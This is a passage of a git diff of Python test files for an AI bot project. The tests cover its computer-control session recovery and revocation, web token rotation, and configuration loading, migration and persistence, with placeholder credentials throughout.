"operator_ledger_released" + assert store.get_recovery_pending(sid) is None + assert normal.recovery == ["release-all"] + assert controller._live[sid].revoked + with pytest.raises(ComputerError, match="resume_unavailable"): + await controller.session(normal.service._context(normal.state), { + "operation": "resume", "session_id": sid, + "generation": result["session_generation"]}) + with pytest.raises(ComputerError, match="stale_generation"): + await controller.act(normal.service._context(normal.state), old) + assert not normal.transports[0].commands + closed = await controller.session(normal.service._context(normal.state), { + "operation": "close", "session_id": sid}) + assert closed["state"] == "closed" + db_path = store.db.execute("PRAGMA database_list").fetchone()[2] + reopened = ComputerStore(db_path, store.evidence_path) + try: + assert reopened.get_session(sid).state == "closed" + assert reopened.get_recovery_pending(sid) is None + finally: + reopened.close() + fresh = await start(normal) + assert fresh["session_id"] != sid + await observe(normal, fresh) + result = await normal.runner._run_one_tool(normal.state, call( + "computer_act", **action(normal, fresh, "renewed-after-incident"))) + assert "Image loaded" in result["content"] + assert len(normal.transports[-1].commands) == 1 + + +async def test_successful_release_cannot_clear_newer_incident(rig, tmp_path): + controller, store, context, grant, live, _, _ = rig + grant = incident(store, grant) + + async def recover(): + pending = store.get_recovery_pending(grant.session_id) + store.transition_recovery_pending( + grant.session_id, recovery_generation=pending.recovery_generation, + grant_generation=pending.grant_generation, stop_epoch=pending.stop_epoch, + phase="native_continuity_lost", reason="native_continuity_lost", + attempt=0, next_retry_at=None) + return {"released": True, "input_revoked": True, "capture_revoked": True} + + live.backend.recover_owned_input = AsyncMock(side_effect=recover) + with pytest.raises(ComputerError, match="grant_revoked"): + await controller.operator_release_owned_input( + replace(context, surface="webui"), grant.session_id, grant.generation) + reopened = ComputerStore(tmp_path / "db", tmp_path / "evidence") + try: + assert reopened.get_session(grant.session_id).state == "quarantined" + assert reopened.get_recovery_pending(grant.session_id).phase == "native_continuity_lost" + assert live.revoked + finally: + reopened.close() + + +async def test_emergency_resolution_state_and_history_roll_back_together( + rig, tmp_path, monkeypatch): + controller, store, context, grant, live, _, _ = rig + grant = incident(store, grant) + pending = store.get_recovery_pending(grant.session_id) + prior = store._hyprland_recovery_record(grant.session_id) + live.backend.recover_owned_input = AsyncMock(return_value={ + "released": True, "input_revoked": True, "capture_revoked": True}) + set_state = store.set_state + + def fail_paused(*args, **kwargs): + result = set_state(*args, **kwargs) + if args[1] == "paused": + raise OSError("injected resolution failure") + return result + + monkeypatch.setattr(store, "set_state", fail_paused) + with pytest.raises(OSError, match="injected resolution failure"): + await controller.operator_release_owned_input( + replace(context, surface="webui"), grant.session_id, grant.generation) + reopened = ComputerStore(tmp_path / "db", tmp_path / "evidence") + try: + assert reopened.get_session(grant.session_id).state == "quarantined" + assert reopened.get_recovery_pending(grant.session_id) == pending + assert reopened._hyprland_recovery_record(grant.session_id) == prior + assert live.revoked + finally: + reopened.close() + + +@pytest.mark.parametrize("phase", ["unknown_release", "native_continuity_lost"]) +async def test_emergency_release_exception_keeps_reopenable_fence(rig, tmp_path, phase): + controller, store, context, grant, live, _, _ = rig + grant = incident(store, grant, phase) + pending = store.get_recovery_pending(grant.session_id) + live.backend.recover_owned_input = AsyncMock(side_effect=OSError("release failed")) + live.backend.detach = AsyncMock(return_value={"stopped": False, "released": False}) + with pytest.raises(OSError, match="release failed"): + await controller.operator_release_owned_input( + replace(context, surface="webui"), grant.session_id, grant.generation) + reopened = ComputerStore(tmp_path / "db", tmp_path / "evidence") + try: + assert reopened.get_session(grant.session_id).state == "quarantined" + assert reopened.get_recovery_pending(grant.session_id) == pending + assert live.revoked + finally: + reopened.close() + + +def test_ledger_resolution_cannot_clear_native_continuity_incident(rig, tmp_path): + _, store, context, grant, _, _, _ = rig + grant = incident(store, grant, "native_continuity_lost") + pending = store.get_recovery_pending(grant.session_id) + with pytest.raises(ComputerError, match="grant_revoked"): + store.finish_emergency_ledger_release(grant, pending) + reopened = ComputerStore(tmp_path / "db", tmp_path / "evidence") + try: + assert reopened.get_recovery_pending(grant.session_id) == pending + with pytest.raises(ComputerError, match="session_busy"): + reopened.create_session(context, platform="wayland", + environment="existing_session", backend="hyprland") + finally: + reopened.close() diff --git a/tests/test_computer_hyprland_turnloop_r33.py b/tests/test_computer_hyprland_turnloop_r33.py index 64fd02673..e43cf275e 100644 --- a/tests/test_computer_hyprland_turnloop_r33.py +++ b/tests/test_computer_hyprland_turnloop_r33.py @@ -243,9 +243,11 @@ async def test_unseen_observation_and_stale_delivered_frame_refused(normal, monk await observe(normal, grant) stale = action(normal, grant) obs = controller._live[grant["session_id"]].observations[stale["observation_id"]] - monkeypatch.setattr(controller, "monotonic", - lambda: obs.captured_at + controller._model_observation_seconds( - controller._live[grant["session_id"]]) + 1) + # Capture the scalar before teardown retires the live session. The clock + # itself must not depend on resources that close() correctly removes. + expired_at = obs.captured_at + controller._model_observation_seconds( + controller._live[grant["session_id"]]) + 1 + monkeypatch.setattr(controller, "monotonic", lambda: expired_at) result = await normal.runner._run_one_tool(normal.state, call("computer_act", **stale)) assert "stale_observation" in result["content"], result assert not normal.transports[0].commands diff --git a/tests/test_computer_operator_auth_r5.py b/tests/test_computer_operator_auth_r5.py index e95fdaf22..65096a595 100644 --- a/tests/test_computer_operator_auth_r5.py +++ b/tests/test_computer_operator_auth_r5.py @@ -186,7 +186,8 @@ async def test_dynamic_rotation_requires_relogin_and_rebinds_exact_session(tmp_p assert binding[2]() raw = await h.tokens.regenerate_token("alice") assert not binding[2]() - assert (await h.client.get("/api/computer", headers=h.headers)).status == 404 + assert (await h.client.get("/api/computer", headers=h.headers)).status == 401 + assert not h.sessions.validate(h.sid, touch=False) login = await h.client.post("/api/auth/login", json={"token": raw}) assert login.status == 200 sid = (await login.json())["session_id"] @@ -374,7 +375,8 @@ async def status(**actor): h.backend.operator_status = status assert (await h.client.get("/api/computer", headers=headers)).status == 200 h.bot.config.web.api_token = "rotated-fixture" - assert (await h.client.get("/api/computer", headers=headers)).status == 404 + assert (await h.client.get("/api/computer", headers=headers)).status == 401 + assert not h.sessions.validate(sid, touch=False) @pytest.mark.parametrize("source", ["dynamic", "static"]) diff --git a/tests/test_computer_packaging.py b/tests/test_computer_packaging.py index 9808ad38e..bbc82e44a 100644 --- a/tests/test_computer_packaging.py +++ b/tests/test_computer_packaging.py @@ -12,8 +12,14 @@ def test_headless_dependency_split_and_shipped_helper(): package = yaml.safe_load((ROOT / "packaging/nfpm.yml").read_text()) - assert set(package["depends"]) == { - "python3 (>= 3.11)", "python3-venv", "openssh-client", "systemd", "sudo"} + depends = set(package["depends"]) + assert { + "python3 (>= 3.11)", "python3-venv", "openssh-client", "systemd", "sudo", + "libnss3", "libgbm1", "fonts-liberation", + } <= depends + # Headless Chromium libraries are required, but never a compositor or + # interactive desktop. The computer stack remains genuinely optional. + assert not {"gnome-shell", "kwin-wayland", "xvfb", "drawing", "xed", "openbox"} & depends recommends = set(package["recommends"]) assert {"xvfb", "bubblewrap (>= 0.8.0)", "xdotool", "openbox", "dbus", "python3-xlib", "python3-gi", "drawing", "xed", "inkscape", diff --git a/tests/test_computer_provisioning_r29.py b/tests/test_computer_provisioning_r29.py index af4e494cb..fa57da909 100644 --- a/tests/test_computer_provisioning_r29.py +++ b/tests/test_computer_provisioning_r29.py @@ -88,7 +88,7 @@ async def test_missing_native_dependencies_are_typed_before_enable(tmp_path, mon manager = lifecycle(tmp_path / "state") manager._factory = None - def missing(): + def missing(**kwargs): raise RuntimeError("private dependency diagnostics") monkeypatch.setattr(profile, "preflight", missing) diff --git a/tests/test_computer_x11_attached_r10_extra.py b/tests/test_computer_x11_attached_r10_extra.py index 18ab34196..cfa1d5b1c 100644 --- a/tests/test_computer_x11_attached_r10_extra.py +++ b/tests/test_computer_x11_attached_r10_extra.py @@ -71,6 +71,36 @@ def test_configuration_strict_types(): backend(**kwargs) +@pytest.mark.parametrize("sudo", [False, True]) +@pytest.mark.parametrize("change", [None, "input_opened", "injected", "released", "phase"]) +async def test_known_no_input_refusal_preserves_prior_device_evidence(monkeypatch, sudo, change): + receipt = {"status": "unavailable", "injected": False, "released": True, + "input_opened": False, + "diagnostics": {"phase": "preflight", "steps_completed": 0}} + if change == "phase": + receipt["diagnostics"]["phase"] = "dispatch" + elif change is not None: + receipt[change] = not receipt[change] + child = Process([json.dumps(receipt).encode() + b"\n"]) + b = backend(runtime_sudo=sudo) + b._device_identity = {"private": "prior identity"} + b._device_state = "prior_clean_state" + monkeypatch.setattr(b, "_record_spawn", lambda *args, **kwargs: None) + monkeypatch.setattr(b, "_worker_ready", AsyncMock(return_value={"pid": 700})) + monkeypatch.setattr(b, "_identities_gone", AsyncMock(return_value=True)) + monkeypatch.setattr(asyncio, "create_subprocess_exec", AsyncMock(return_value=child)) + if change is None: + assert await b._input_worker({}) == receipt + assert b._device_state == "prior_clean_state" + assert b._device_identity == {"private": "prior identity"} + assert not b._release_failed + else: + with pytest.raises(attached.AttachedFailure, match="input_outcome_unknown"): + await b._input_worker({}) + assert b._release_failed + assert child.closed and child.signals == [] + + def test_spawn_descriptor_atomic_callback_and_limits(monkeypatch): b = backend() b._runtime_descriptor = {"processes": [], "launch_pending": False} diff --git a/tests/test_computer_x11_focus_controller.py b/tests/test_computer_x11_focus_controller.py index 87c0f6bc5..388f16b36 100644 --- a/tests/test_computer_x11_focus_controller.py +++ b/tests/test_computer_x11_focus_controller.py @@ -117,6 +117,26 @@ async def test_focus_requires_new_eligible_delivery_before_typing(tmp_path): assert "next_observation" not in replay and len(backend.focus_calls) == 1 +async def test_focus_storage_failure_still_revokes_unknown_release(tmp_path, monkeypatch): + async with setup(tmp_path) as (controller, backend, ctx, _, action): + backend.fail_release = True + calls = [] + + def broken_finish(*args, **kwargs): + calls.append(args) + raise OSError("receipt storage unavailable") + + monkeypatch.setattr(controller.store, "finish_action", broken_finish) + with pytest.raises(OSError, match="receipt storage unavailable"): + await controller.act(ctx, action) + assert len(calls) == 2 + assert len(backend.focus_calls) == 1 + assert controller._live[action["session_id"]].revoked + assert backend.detached + assert controller.store.cleanup(action["session_id"]) is not None + assert controller.store.get_session(action["session_id"]).state != "active" + + @pytest.mark.parametrize("unknown_release", [False, True]) async def test_focus_through_integration_classifies_release_truthfully( tmp_path, monkeypatch, unknown_release): diff --git a/tests/test_config_campaign_v410.py b/tests/test_config_campaign_v410.py new file mode 100644 index 000000000..ed4ceea0d --- /dev/null +++ b/tests/test_config_campaign_v410.py @@ -0,0 +1,611 @@ +"""Configuration campaign regressions through actual schema, writer and routes.""" +import asyncio +import json +from contextlib import contextmanager +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock + +import pytest +import yaml +from aiohttp import web + +from src.config import migrations, persistence +from src.config.apply_registry import build_field_record +from src.config.schema import Config, load_config +from src.config.webhook_text import WebhookTextPatch + + +@pytest.fixture(autouse=True) +def isolated_config_path(monkeypatch): + from src.config import schema + monkeypatch.setattr(schema, "_ACTIVE_CONFIG_PATH", None) + monkeypatch.setattr(schema, "_LAUNCH_CONFIG_PATH", None) + + +def config(**values): + return Config(discord={"token": "fixture"}, **values) + + +@pytest.mark.parametrize("provider", [None, {}]) +def test_588_implicit_codex_preserves_explicit_model(provider): + values = {"openai_codex": {"model": "gpt-6.1-sol"}} + if provider is not None: + values["llm_provider"] = provider + cfg = config(**values) + from src.tools.agent_tool_policy import configured_agent_model + assert cfg.llm_provider.model == "gpt-6.1-sol" + cfg.agents.model = None + assert configured_agent_model(cfg) == "gpt-6.1-sol" + from src.discord.llm_gateway import LLMGateway + gateway = SimpleNamespace( + get_config=lambda: cfg, codex_client=SimpleNamespace(model="transport-default"), + compatible_client=None, ollama_client=None, + ) + assert LLMGateway.capture_serving_identity(gateway).model == "gpt-6.1-sol" + + +@pytest.mark.parametrize("agents", [ + {"model": "gpt-5.5"}, + {"auto_model_allowlist": ["gpt-5.5", "gpt-6-sol"]}, + {"auto_model_allowlist": [{"model": "gpt-5.5", "reasoning_effort": "high"}]}, + {"model_selection_hints": {"gpt-5.5": "historical", "gpt-6-sol": "current"}}, +]) +def test_459_canonical_retirement_loads_without_rewriting(tmp_path, agents): + path = tmp_path / "config.yml" + raw = yaml.safe_dump({"discord": {"token": "fixture"}, "agents": agents}) + path.write_text(raw) + cfg = load_config(path) + assert "gpt-5.5" not in json.dumps(cfg.agents.model_dump()) + assert path.read_text() == raw + if "model_selection_hints" in agents: + assert cfg.agents.model_selection_hints["gpt-6-sol"] == "current" + if isinstance(agents.get("auto_model_allowlist", [None])[0], dict): + assert cfg.agents.auto_model_allowlist[0].reasoning_effort == "high" + + +@pytest.mark.parametrize("values", [ + {"llm_provider": {"model": "gpt-6.1-sol"}, + "openai_codex": {"model": "gpt-6-luna", "reasoning_effort": "none"}}, + {"agents": {"model": "gpt-6.1-sol"}, + "openai_codex": {"agent_model": "auto", "agent_reasoning_effort": "none"}}, +]) +def test_460_canonical_pairs_reject_save_warn_startup(tmp_path, caplog, values): + with pytest.raises(ValueError, match="not supported"): + config(**values) + path = tmp_path / "config.yml" + path.write_text(yaml.safe_dump({"discord": {"token": "fixture"}, **values})) + cfg = load_config(path) + assert cfg.openai_codex.agent_reasoning_effort == values["openai_codex"].get( + "agent_reasoning_effort", "auto" + ) + assert "Effective model/effort pair" in caplog.text + + +def test_460_legacy_pairs_cannot_override_canonical_or_auto(): + cfg = config(llm_provider={"model": "gpt-6-luna"}, agents={"model": "auto"}, + openai_codex={"model": "gpt-6.1-sol", "reasoning_effort": "none"}) + assert cfg.agents.model == "auto" + + +@pytest.mark.parametrize("timeout", [0, -1]) +def test_593_nonpositive_override_reject_save_default_on_load(tmp_path, caplog, timeout): + with pytest.raises(ValueError, match="positive integers"): + config(tools={"tool_timeouts": {"fetch_url": timeout}}) + path = tmp_path / "config.yml" + path.write_text(yaml.safe_dump({ + "discord": {"token": "fixture"}, + "tools": {"tool_timeouts": {"fetch_url": timeout, "run_command": 15}}, + })) + cfg = load_config(path) + assert cfg.tools.tool_timeouts == {"run_command": 15} + assert cfg.tools.get_tool_timeout("fetch_url") > 0 + assert "using tool defaults" in caplog.text + + +@pytest.mark.parametrize("field", ["archive_max_files", "archive_max_bytes"]) +def test_594_negative_archive_cap_is_unset_on_load(tmp_path, caplog, field): + with pytest.raises(ValueError, match="nonnegative"): + config(sessions={field: -1}) + assert getattr(config(sessions={field: 0}).sessions, field) == 0 + path = tmp_path / "config.yml" + path.write_text(yaml.safe_dump({"discord": {"token": "fixture"}, "sessions": {field: -1}})) + assert getattr(load_config(path).sessions, field) is None + assert "treating as unset" in caplog.text + + +@pytest.mark.parametrize("enabled", [True, False]) +@pytest.mark.parametrize("timeout,expected", [(5, 10), (4000, 3600), ("4000", 3600)]) +def test_595_legacy_kimi_timeouts_load(tmp_path, enabled, timeout, expected): + path = tmp_path / "config.yml" + path.write_text(yaml.safe_dump({ + "discord": {"token": "fixture"}, "kimi": {"enabled": enabled, "timeout": timeout} + })) + cfg = load_config(path) + assert cfg.openai_compatible.stream_stall_timeout_seconds == expected + with pytest.raises(ValueError): + config(openai_compatible={"stream_stall_timeout_seconds": timeout}) + + +def test_458_ceiling_migration_fences_later_operator_save(tmp_path, monkeypatch): + path = tmp_path / "config.yml" + raw = ( + "discord: {token: fixture}\nopenai_codex:\n context_compression:\n" + f" max_context_chars: {migrations.LEGACY_MAX_CONTEXT_CHARS}\n" + ) + assert migrations._is_shipped_legacy_literal(raw) + path.write_text(raw) + old_lock = persistence._config_file_lock + + @contextmanager + def interleave(target): + # The newer edit is durably acknowledged before the migration locks. + persistence.patch_config_paths( + [(("openai_codex", "context_compression", "max_context_chars"), 123456)], path=target + ) + with old_lock(target): + yield + + with monkeypatch.context() as patch: + # Avoid recursively interleaving our own fixture save. + @contextmanager + def lock(target): + with patch.context() as inner: + inner.setattr(persistence, "_config_file_lock", old_lock) + with interleave(target): + yield + patch.setattr(persistence, "_config_file_lock", lock) + data = yaml.safe_load(raw) + migrations.apply_legacy_ceiling_migration(data, path, raw) + assert yaml.safe_load(path.read_text())["openai_codex"]["context_compression"] == { + "max_context_chars": 123456 + } + assert data["openai_codex"]["context_compression"]["max_context_chars"] == 123456 + + +def test_457_noop_marker_storage_failure_is_not_startup_failure(tmp_path, monkeypatch): + path = tmp_path / "config.yml" + path.write_text("discord: {token: fixture}\n") + def readonly(*_args, **_kwargs): + raise PermissionError(13, "read only fixture") + monkeypatch.setattr(migrations, "_atomic_write_marker", readonly) + assert load_config(path).discord.token == "fixture" + assert path.read_text() == "discord: {token: fixture}\n" + + +def test_457_completed_migration_alias_repair_is_not_a_write_prerequisite(tmp_path, monkeypatch): + path = tmp_path / "config.yml" + raw = "discord: {token: fixture}\n" + path.write_text(raw) + migrations._atomic_write_marker( + migrations._shared_ceiling_marker_path(path), + migrations._completion_record("not_applicable", migrations._config_identity(path)), + ) + def readonly(*args, **kwargs): + raise PermissionError(13, "read only fixture") + monkeypatch.setattr(migrations, "_atomic_write_marker", readonly) + migrations.apply_legacy_ceiling_migration(yaml.safe_load(raw), path, raw) + assert path.read_text() == raw + + +def test_457_file_mount_migration_does_not_prepare_impossible_rename(tmp_path, monkeypatch): + from src.config.image_defaults import IMAGE_MODEL_DEFAULTS, LEGACY_IMAGE_MODEL_DEFAULTS + path = tmp_path / "config.yml" + raw = yaml.safe_dump({ + "discord": {"token": "fixture"}, "image": {"openai": LEGACY_IMAGE_MODEL_DEFAULTS} + }) + path.write_text(raw) + # File bind mounts cannot be replaced atomically even with writable parents. + monkeypatch.setattr(migrations.os.path, "ismount", lambda target: target == path) + cfg = load_config(path) + assert path.read_text() == raw + assert not migrations.image_defaults_marker_path(path).exists() + for leaf, value in IMAGE_MODEL_DEFAULTS.items(): + assert getattr(cfg.image.openai, leaf) == value + + +@pytest.mark.parametrize("image", [False, True]) +def test_457_unprivileged_readonly_config_with_writable_data(tmp_path, monkeypatch, image): + import os + + from src.config.image_defaults import IMAGE_MODEL_DEFAULTS, LEGACY_IMAGE_MODEL_DEFAULTS + if os.geteuid() == 0: + pytest.skip("Read-only permission evidence requires an unprivileged test runner") + monkeypatch.chdir(tmp_path) + storage = tmp_path / "config-mount" + storage.mkdir() + writable = tmp_path / "application-data" + writable.mkdir() + path = storage / "config.yml" + values = {"discord": {"token": "fixture"}, "sessions": {"persist_directory": str(writable)}} + if image: + values["image"] = {"openai": dict(LEGACY_IMAGE_MODEL_DEFAULTS)} + raw = yaml.safe_dump(values) + path.write_text(raw) + storage.chmod(0o555) + try: + cfg = load_config(path) + assert cfg.sessions.persist_directory == str(writable) + assert path.read_text() == raw + if image: + for leaf, value in IMAGE_MODEL_DEFAULTS.items(): + assert getattr(cfg.image.openai, leaf) == value + finally: + storage.chmod(0o755) + + +@pytest.mark.parametrize("raw", [ + "outbound_webhooks: {targets: [{id: a, url: 'https://a.test'},],}\n", + "outbound_webhooks: {targets: [{id: a, url: 'https://a.test',}],}\n", + "outbound_webhooks: {enabled: true,}\n", +]) +def test_591_flow_trailing_delimiters_append_and_update(raw): + patch = WebhookTextPatch(raw) + patch.append({"id": "b", "url": "https://b.test"}) + assert yaml.safe_load(patch.text)["outbound_webhooks"]["targets"][-1]["id"] == "b" + patch.update(0, {"secret": "fixture"}) + assert yaml.safe_load(patch.text)["outbound_webhooks"]["targets"][0]["secret"] == "fixture" + + +def test_591_real_webhook_persistence_accepts_flow_trailing_commas(tmp_path): + path = tmp_path / "config.yml" + raw = "outbound_webhooks: {targets: [{id: a, url: 'https://a.test',},],}\n" + path.write_text(raw) + persistence.patch_webhook_targets( + [{"id": "b", "url": "https://b.test"}], + changed_fields={"b": {"id", "url"}}, create_ids=["b"], path=path, + ) + persistence.patch_webhook_targets( + [{"id": "a", "secret": "fixture"}], changed_fields={"a": {"secret"}}, path=path, + ) + targets = yaml.safe_load(path.read_text())["outbound_webhooks"]["targets"] + assert targets == [ + {"id": "a", "url": "https://a.test", "secret": "fixture"}, + {"id": "b", "url": "https://b.test"}, + ] + + +def test_592_partial_mapping_writer_keeps_current_siblings_and_env(tmp_path, monkeypatch): + monkeypatch.setenv("FIXTURE_TIMEOUT", "900") + path = tmp_path / "config.yml" + raw = ( + "discord: {token: fixture}\ntools:\n tool_timeouts:\n" + " run_command: ${FIXTURE_TIMEOUT} # keep\n external_edit: 77\n remove_me: 20\n" + ) + path.write_text(raw) + cfg = config(tools={"tool_timeouts": {"run_command": 900, "remove_me": 20, "fetch_url": 40}}) + updates = {"tools": {"tool_timeouts": {"fetch_url": 40, "remove_me": {"$delete": True}}}} + changes = persistence.submitted_leaves(updates, cfg.model_dump(), Config) + persistence.patch_config_paths(changes, path=path) + assert "${FIXTURE_TIMEOUT} # keep" in path.read_text() + parsed = yaml.safe_load(path.read_text())["tools"]["tool_timeouts"] + assert parsed["external_edit"] == 77 + assert parsed["fetch_url"] == 40 + assert "remove_me" not in parsed + + +def test_592_partial_structured_mapping_entry_keeps_required_siblings(tmp_path): + path = tmp_path / "config.yml" + path.write_text( + "openai_compatible:\n model_profiles:\n vendor/model:\n" + " total_window_tokens: 200000 # keep\n max_output_tokens: 2000\n" + ) + cfg = config(openai_compatible={"model_profiles": { + "vendor/model": {"total_window_tokens": 200000, "max_output_tokens": 4000} + }}) + updates = {"openai_compatible": {"model_profiles": { + "vendor/model": {"max_output_tokens": 4000} + }}} + changes = persistence.submitted_leaves(updates, cfg.model_dump(), Config) + assert changes == [ + (("openai_compatible", "model_profiles", "vendor/model", "max_output_tokens"), 4000) + ] + persistence.patch_config_paths(changes, path=path) + assert "total_window_tokens: 200000 # keep" in path.read_text() + + +@pytest.mark.parametrize("path,value", [ + ("llm_provider.model", "gpt-6-sol"), + ("openai_compatible.reasoning_effort", "high"), + ("web.api_token", "fixture"), + ("web.api_tokens", []), +]) +def test_589_live_read_metadata_does_not_claim_boot_value(path, value): + record = build_field_record(path, value, boot_value="old", has_boot=True) + assert record["apply_mode"] == "live_read" + assert not record["pending_restart"] + assert "immediately" in record["save_effect"] + + +def test_589_legacy_selectors_metadata_names_canonical_precedence(): + agent = build_field_record("openai_codex.agent_model", "gpt-6-sol") + assert agent["apply_mode"] == "dormant" + assert "agents.model" in agent["description"] + model = build_field_record("openai_codex.model", "gpt-6-sol") + assert "llm_provider.model overrides" in model["description"] + + +@pytest.mark.asyncio +async def test_501_agent_partial_update_merges_after_lock(monkeypatch): + from src.web.api.agents_loops import register_agents + bot = SimpleNamespace(config=config(), tool_catalog=MagicMock()) + monkeypatch.setattr( + "src.web.api.agents_loops.persist_config_paths_locked", + AsyncMock(return_value=(None, False)), + ) + routes = web.RouteTableDef() + register_agents(routes, bot) + handler = next(row.handler for row in routes if row.method == "PUT") + request = SimpleNamespace(json=AsyncMock(return_value={"model": "gpt-6-sol"})) + async with persistence.config_transaction(): + task = asyncio.create_task(handler(request)) + await asyncio.sleep(0) + bot.config.agents.thinking_mode = "enabled" + response = await task + assert response.status == 200 + assert bot.config.agents.thinking_mode == "enabled" + + +@pytest.mark.asyncio +@pytest.mark.parametrize("endpoint", ["codex", "ollama", "compatible", "auxiliary"]) +async def test_502_string_false_is_not_enabled(endpoint, monkeypatch): + from src.web.api.llm_admin import register_provider_config + gateway = MagicMock() + gateway.provider_lock = asyncio.Lock() + gateway.codex_client = None + gateway.ollama_client = None + gateway.compatible_client = None + gateway.auxiliary_llm_client = None + gateway.reload_codex_inner = AsyncMock() + gateway.reload_ollama_inner = AsyncMock() + gateway.reload_openai_compatible_inner = AsyncMock(return_value={"committed": True}) + gateway.reload_auxiliary = AsyncMock(return_value={"committed": True}) + bot = SimpleNamespace(config=config(), llm_gateway=gateway, tool_catalog=MagicMock()) + monkeypatch.setattr( + "src.web.api.llm_admin._persist_or_response", AsyncMock(return_value=(None, False)) + ) + routes = web.RouteTableDef() + register_provider_config(routes, bot) + url = ( + "/api/openai-compatible/config" if endpoint == "compatible" + else f"/api/llm/{endpoint}/config" + ) + handler = next(row.handler for row in routes if row.method == "PUT" and row.path == url) + response = await handler(SimpleNamespace(json=AsyncMock(return_value={"enabled": "false"}))) + assert response.status == 200, response.text + if endpoint == "auxiliary": + assert gateway.prepare_auxiliary_reload.call_args.args[0]["enabled"] is False + else: + leaf = { + "codex": "openai_codex", "ollama": "ollama", "compatible": "openai_compatible" + }[endpoint] + assert getattr(bot.config, leaf).enabled is False + + +@pytest.mark.asyncio +async def test_501_host_partial_settings_merge_after_lock(tmp_path, monkeypatch): + from aiohttp.test_utils import TestClient, TestServer + + from tests.test_hosts_api import _app, _bot, _host + bot = _bot(tmp_path, hosts={ + "alpha": _host(), "beta": _host(host_id="f461e880-cd75-4bba-8ea1-de8326d0caef") + }) + monkeypatch.setattr( + persistence, "persist_config_paths_locked", AsyncMock(return_value=(None, False)) + ) + async with TestClient(TestServer(_app(bot))) as client: + async with persistence.config_transaction(): + task = asyncio.create_task( + client.post("/api/hosts/settings", json={"allow_host_tofu": True}) + ) + await asyncio.sleep(0.02) + bot.config.tools.default_host = "beta" + response = await task + assert response.status == 200, await response.text() + assert bot.config.tools.default_host == "beta" + assert bot.host_registry.default_host == "beta" + assert bot.config.tools.allow_host_tofu is True + + +@pytest.mark.asyncio +async def test_501_openrouter_remote_await_rebuilds_current_policy(monkeypatch): + from src.web.api.llm_admin import register_openai_compatible_admin + cfg = config(openai_compatible={"preset": "openrouter", "base_url": "https://openrouter.ai/api/v1"}) + client = SimpleNamespace(openrouter_routing=None) + bot = SimpleNamespace( + config=cfg, llm_gateway=SimpleNamespace(compatible_client=client), tool_catalog=MagicMock() + ) + entered, release = asyncio.Event(), asyncio.Event() + rows = [{"tag": "provider", "context_length": 200000, "max_completion_tokens": 8000, + "supports_tools": True, "supports_reasoning": True, "quantization": "unknown"}] + async def endpoints(*args, **kwargs): + entered.set() + await release.wait() + return rows + monkeypatch.setattr("src.web.api.llm_admin._openrouter_endpoint_rows", endpoints) + monkeypatch.setattr( + "src.web.api.llm_admin._openrouter_models", + AsyncMock(return_value=([{"id": "vendor/model", "supports_reasoning": True}], False, None)), + ) + persist = AsyncMock(return_value=(None, False)) + monkeypatch.setattr("src.web.api.llm_admin.persist_config_paths_locked", persist) + routes = web.RouteTableDef() + register_openai_compatible_admin(routes, bot) + handler = next( + row.handler for row in routes if row.method == "POST" and row.path.endswith("/select") + ) + request = SimpleNamespace( + json=AsyncMock(return_value={"provider_tag": "provider"}), + match_info={"author": "vendor", "slug": "model"}, + ) + task = asyncio.create_task(handler(request)) + await entered.wait() + replacement = config(openai_compatible={ + "preset": "openrouter", "base_url": "https://openrouter.ai/api/v1", + "openrouter": {"model_pins": {"other/model": "operator"}}, + }) + bot.config = replacement + release.set() + response = await task + assert response.status == 200, response.text + assert replacement.openai_compatible.openrouter.model_pins == { + "other/model": "operator", "vendor/model": "provider" + } + assert client.openrouter_routing is replacement.openai_compatible.openrouter + assert cfg.openai_compatible.openrouter.model_pins == {} + + +def test_594_unset_caps_do_not_prune_real_archives(monkeypatch): + from src.sessions.manager import SessionManager + files = [MagicMock(stem=f"channel_{i}") for i in range(3)] + for i, item in enumerate(files): + item.stat.return_value = SimpleNamespace(st_mtime=i, st_size=100) + directory = MagicMock() + directory.glob.return_value = files + manager = SessionManager.__new__(SessionManager) + manager.archive_max_bytes = None + manager.archive_max_files = None + manager._prune_old_archives(directory) + for item in files: + item.unlink.assert_not_called() + # Explicit zero retains its old policy, with unlink replaced by inert fakes. + manager.archive_max_files = 0 + manager._prune_old_archives(directory) + for item in files: + item.unlink.assert_called_once() + + +@pytest.mark.asyncio +async def test_589_save_reaches_canonical_and_reasoning_consumer(monkeypatch): + from src.discord.llm_gateway import LLMGateway + from src.web.api.config_admin import register_discord_config + from tests.test_web_api_config_admin import _bot + bot = _bot() + bot.health_server = None + gateway = SimpleNamespace( + get_config=lambda: bot.config, + codex_client=SimpleNamespace(model="old", reasoning_effort="high"), + compatible_client=SimpleNamespace(model="old"), ollama_client=None, + ) + routes = web.RouteTableDef() + register_discord_config(routes, bot) + handler = next( + row.handler for row in routes if row.method == "PUT" and row.path == "/api/config" + ) + monkeypatch.setattr( + "src.web.api.config_admin.persist_config_paths_locked", + AsyncMock(return_value=(None, False)), + ) + body = { + "llm_provider": {"model": "compat:deepseek-v4-flash"}, + "openai_compatible": {"reasoning_effort": "high"}, + } + request = MagicMock() + request.json = AsyncMock(return_value=body) + response = await handler(request) + assert response.status == 200, response.text + identity = LLMGateway.capture_serving_identity(gateway) + assert identity.model == "deepseek-v4-flash" + assert identity.reasoning_effort == "enabled" + record = build_field_record("llm_provider.model", bot.config.llm_provider.model) + assert record["effective"] == "compat:deepseek-v4-flash" + + +@pytest.mark.asyncio +async def test_589_web_credentials_live_metadata_matches_real_auth_consumer(): + from aiohttp.test_utils import TestClient, TestServer + + from src.health.server import SessionManager, _make_auth_middleware + owner = SimpleNamespace(config=config(web={"api_token": "old-fixture"})) + app = web.Application(middlewares=[ + _make_auth_middleware(lambda: owner.config.web, SessionManager()) + ]) + async def handler(request): + return web.json_response({"user": request._api_identity.user_id}) + app.router.add_get("/api/fixture", handler) + async with TestClient(TestServer(app)) as client: + response = await client.get("/api/fixture", headers={"Authorization": "Bearer old-fixture"}) + assert response.status == 200 + owner.config = config(web={"api_tokens": [{"token": "new-fixture", "user_id": "operator"}]}) + response = await client.get("/api/fixture", headers={"Authorization": "Bearer old-fixture"}) + assert response.status == 401 + response = await client.get("/api/fixture", headers={"Authorization": "Bearer new-fixture"}) + assert response.status == 200 + assert (await response.json())["user"] == "operator" + record = build_field_record("web.api_tokens", owner.config.web.api_tokens) + assert record["apply_mode"] == "live_read" + + +@pytest.mark.asyncio +@pytest.mark.parametrize("route", ["/api/llm/main-model", "/api/llm/switch"]) +async def test_460_canonical_selector_api_rejects_bad_pair_before_switch(route): + from src.web.api.llm_admin import register_llm_provider + gateway = SimpleNamespace(switch_provider=AsyncMock()) + 